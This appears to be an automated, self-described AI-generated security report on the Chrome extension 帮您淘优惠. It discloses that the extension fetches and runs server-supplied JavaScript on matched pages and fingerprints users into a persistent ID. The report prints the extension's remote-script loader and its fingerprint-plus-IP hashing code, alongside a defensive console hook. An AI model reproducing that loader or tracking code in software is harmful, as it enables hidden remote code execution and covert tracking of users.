Is 帮您淘优惠 safe?
帮您淘优惠 is critical risk. 帮您淘优惠 POSTs to xapi.bntyh.com/fddqa on matching pages. The response can include JS code strings, run in a sandboxed acorn+Babel interpreter. A captured request returned three scripts (7,226/6,209/7,231 chars); a POST confirmed execution.…
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Server Delivers JavaScript Executed on Every Matched Page
帮您淘优惠 POSTs to xapi.bntyh.com/fddqa on matching pages.
The response can include JS code strings, run in a sandboxed acorn+Babel interpreter.
A captured request returned three scripts (7,226/6,209/7,231 chars); a POST confirmed execution.
What actually happens
You visit a page that matches the server's injection scope list.
The extension POSTs to xapi.bntyh.com/fddqa and receives JavaScript code strings, which its sandboxed interpreter executes with access to the page's window object.
Our dynamic analysis confirmed this: the server returned three script payloads totalling over 20,000 characters, and a subsequent beacon to duommai.com confirmed the interpreter ran.
Captured request
200 OK, 32,697 bytes. Response contained content2.script (7,226 chars), content4.script (6,209 chars), content9.script (7,231 chars), all server-supplied JavaScript. Observed as DA request 1310393.8. Scripts were also cached in chrome.storage.local for reuse on subsequent navigations.
{ "uuid": "a3f8c921e47b10d2f958c0e3a17b4d89.1744640329122", "bid": 8, "ver": "3.0.3", "eid": "jd_coupon_01", "data": { "content2": "2026-04-14T14:00:00.000Z" }}The code that does this
The sandboxed interpreter setup and execution path in the extension source:
Interpreter initialization — creates sandboxed interpreter with window access
// evalCore is loaded from js/umd.js — an acorn+Babel-based JS interpreterconst { evalModule, getEvalInstance } = evalCore;const Interpreter = evalModule.Interpreter;// Give the interpreter access to the page's window objectInterpreter.global = window;new Interpreter(); // bootstrap// window.evil is now a callable that evaluates strings as JSwindow.evil = getEvalInstance(window);Script execution — runs server-supplied code for each matching content block
// For each content block returned by /fddqa:if (contentBlock.script) { // Inject the HTML template into the target DOM element first $(targetElement)[contentBlock.append_type](renderedTemplate); if (contentBlock.style) { $(targetElement)[contentBlock.append_type](contentBlock.style); } // Execute the server-supplied JavaScript via the sandboxed interpreter evil(contentBlock.script); break;}What's stored on your device
Scripts are cached locally after the first fetch, then re-executed on later visits without re-fetching, so old code persists.
- Location
- chrome.storage.local key 'ad_{eid}_content{N}'
{ "aid": "jd_coupon_01", "dom": "#BANGNITAO_AD|.jd-promo-container", "script": "window.BANGNITAO_ad_loaded=true; /* 7226 chars */", "template": "<div class='yhc-coupon'>...</div>", "append_type": "after"}Reproduce it yourself
Intercepts the sandboxed interpreter call in 帮您淘优惠 and logs the server-supplied JavaScript strings to the DevTools console before they execute. Run this in the DevTools console on any JD.com product page after the extension has loaded.
- Chrome with Developer mode enabled
- 帮您淘优惠 extension installed
- JD.com product page (item.jd.com)
// bangnintao-script-capture.js// Intercepts the sandboxed interpreter function in the BANGNINTAO content// script and logs each server-supplied script string before execution.//// Usage: paste into Chrome DevTools console on a JD.com product page// after 帮您淘优惠 has loaded. Navigate to a product page and watch// the console for [BANGNINTAO_INTERP] entries.(function() { // The interpreter function is set on window by the extension's content script (js/utils.js) // We need to wait for the extension to initialize it first. function hookInterp() { if (typeof window.evil !== 'function') { setTimeout(hookInterp, 100); return; } const originalInterp = window.evil; window.evil = function(script) { console.group('[BANGNINTAO_INTERP] Server-supplied script intercepted'); console.log('Script length:', script.length, 'chars'); console.log('Script contents:', script); console.groupEnd(); // Call the original to allow normal execution (remove this line to block) return originalInterp(script); }; console.log('[BANGNINTAO_INTERP] Hook installed. Navigate to a JD.com product page.'); } hookInterp();})();- 1Install 帮您淘优惠.
- 2Open DevTools (F12) on a JD.com page (e.g. https://item.jd.com/).
- 3Paste this script into Console, press Enter.
- 4Reload the page.
- 5Watch console for [BANGNINTAO_INTERP] entries with script content/length.
Server Controls Which Pages Receive Ad Injection
帮您淘优惠 sends your UUID and version to xapi.bntyh.com/version and gets a list of websites/paths for ad content, cached and re-fetched.
A captured POST (15,448 bytes) returned 7+ domains, checked against every visited page, no integrity check.
What actually happens
You navigate to any web page.
The extension tests your URL against a domain/path list fetched from xapi.bntyh.com/version. On a match, it requests and injects ad content from the same server.
The matching list is entirely server-controlled; the server can add or remove any domain or path without an extension update.
Captured request
200 OK, 15,448 bytes. Returns JSON with: version (string), area (string), ip (string), duration (refresh interval in hours), domain_list (array), urls (object mapping domains to path+eid+pid entries). Observed in dynamic analysis request 1310393.6.
{ "uuid": "a3f8c921e47b10d2f958c0e3a17b4d89.1744640329122", "t": 1744640329844, "pver": "3.0.3", "area": "CN", "ip": "114.87.42.191"}The code that does this
The getServerUrls() function that fetches and stores the injection scope list:
// getServerUrls() — fetches injection scope from serverasync function getServerUrls() { const cachedUrls = await getStorage('urls'); // existing config if any let uuid = await getStorage('uuid'); if (!uuid) uuid = await yhc_get_uuid(); // generate if missing const payload = {}; if (cachedUrls) { // send back server's own values to identify the user's region/IP payload.pver = cachedUrls.version; payload.area = cachedUrls.area; payload.ip = cachedUrls.ip; } payload.uuid = uuid; payload.t = getTime(); // current timestamp // POST to /version — no signature, no integrity check const response = await httpSync({ url: '/version', type: 'post', data: payload }); // Cache the response's injection scope list directly await setStorage({ urls: response.data }); return response.data;}The code that does this
How the content script uses the server list to select pages for injection:
// In contentScript.js — runs on every page navigationconst config = await getStorage('urls'); // server-supplied scope listconst urlList = config.urls; // domain → [{ path, eid, pid }]const domainList = config.domain_list; // additional platform hintsif (domainList) getEcommercePlatform({ hosts: domainList });const currentPath = window.location.href.replace(window.location.origin, '');for (const domain of Object.keys(urlList)) { if (window.location.origin.includes(domain)) { for (const entry of urlList[domain]) { // Convert glob-style path to regex let pattern = entry.path.replace(/\*$/, '\\S+').replace(/\/$/,'').replace(/\*/g,'[^\\s/]+'); if (new RegExp(pattern, 'gi').test(currentPath)) { shouldInject = true; eid = entry.eid; // ad campaign ID pid = entry.pid; // publisher ID break; } } }}Servers involved in the injection scope mechanism
- xapi.bntyh.com
Receives UUID + version info via POST /version; returns the domain/path injection scope list and refresh interval.
Device Fingerprint + IP Fused into Persistent Tracking ID
On first install, 帮您淘优惠 fetches your IP and runs Fingerprint2 to collect device data, hashed into a UUID.
Dynamic analysis captured the api.yhchj.com/ip GET, then the UUID in POSTs to xapi.bntyh.com and beacons to sr.anhuiry.com/sp.gif.
What actually happens
You install 帮您淘优惠 for the first time.
The extension fetches your external IP, collects browser fingerprint attributes, combines them into a 128-bit hash, and stores it permanently as your unique ID.
This UUID is then included in every subsequent request to the extension's servers for the lifetime of the install.
Captured request
Returns the user's external IP address as plain text (e.g. "114.87.42.191"). Observed 8 times in a single dynamic analysis (requests observed during dynamic analysis).
Inputs to the UUID hash (everything Fingerprint2.get() collects, minus excluded attributes)
- Browser and OS attributescanvas: data:image/png;base64,iVBORw0KGgo...
Canvas rendering, WebGL renderer, screen resolution, timezone, language, and plugins that together uniquely identify your device.
- Your external IP address114.87.42.191
Fetched from api.yhchj.com/ip before hashing. Ties the fingerprint to a geographic location and ISP.
- Install timestamp1744640329122
The millisecond timestamp at the moment the UUID is first created. Appended after the hash to produce the final UUID string.
What's stored on your device
The UUID is written here on first install and read on every subsequent request. It persists indefinitely unless you uninstall the extension.
- Location
- chrome.storage.local key 'uuid'
a3f8c921e47b10d2f958c0e3a17b4d89.1744640329122The code that does this
The UUID generation code from background.js (shipping source vs annotated reading):
// yhc_get_uuid() — runs once on first install if no UUID stored yetconst installTimestamp = Math.round(new Date()); // milliseconds// Wait for browser idle, then fetch IP and fingerprintrequestIdleCallback(() => { // Step 1: fetch external IP httpSync({ url: '/ip', baseUrl: 'https://api.yhchj.com' }) .then(ipResponse => { // Step 2: collect browser fingerprint attributes Fingerprint2.get( { excludes: { enumerateDevices: true, fontsFlash: true, deviceMemory: true } }, (components) => { // Step 3: append IP to the fingerprint array components.push({ key: 'ip', value: ipResponse.data }); const values = components.map(c => c.value); // Step 4: hash everything into a 128-bit fingerprint const hash = Fingerprint2.x64hash128(values.join(''), 31); const uuid = hash + '.' + installTimestamp; // Step 5: persist permanently setStorage({ uuid: uuid }); resolve(uuid); } ); });}, { timeout: 500 });Where the UUID is transmitted
- api.yhchj.com
IP address lookup, supplies the IP component used in UUID construction.
- xapi.bntyh.com
Primary backend for 帮您淘优惠, receives the UUID in POST bodies for /version and /fddqa endpoints on every page load.
- sr.anhuiry.com
Analytics pixel beacon, receives the UUID as a query parameter in GET requests to /sp.gif.
What it can do
Permissions this extension asks for, as declared in version 3.0.3. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on every site you visit
*://*/*
Run its own code inside the pages you visit
scripting
Store data in your browser
storage
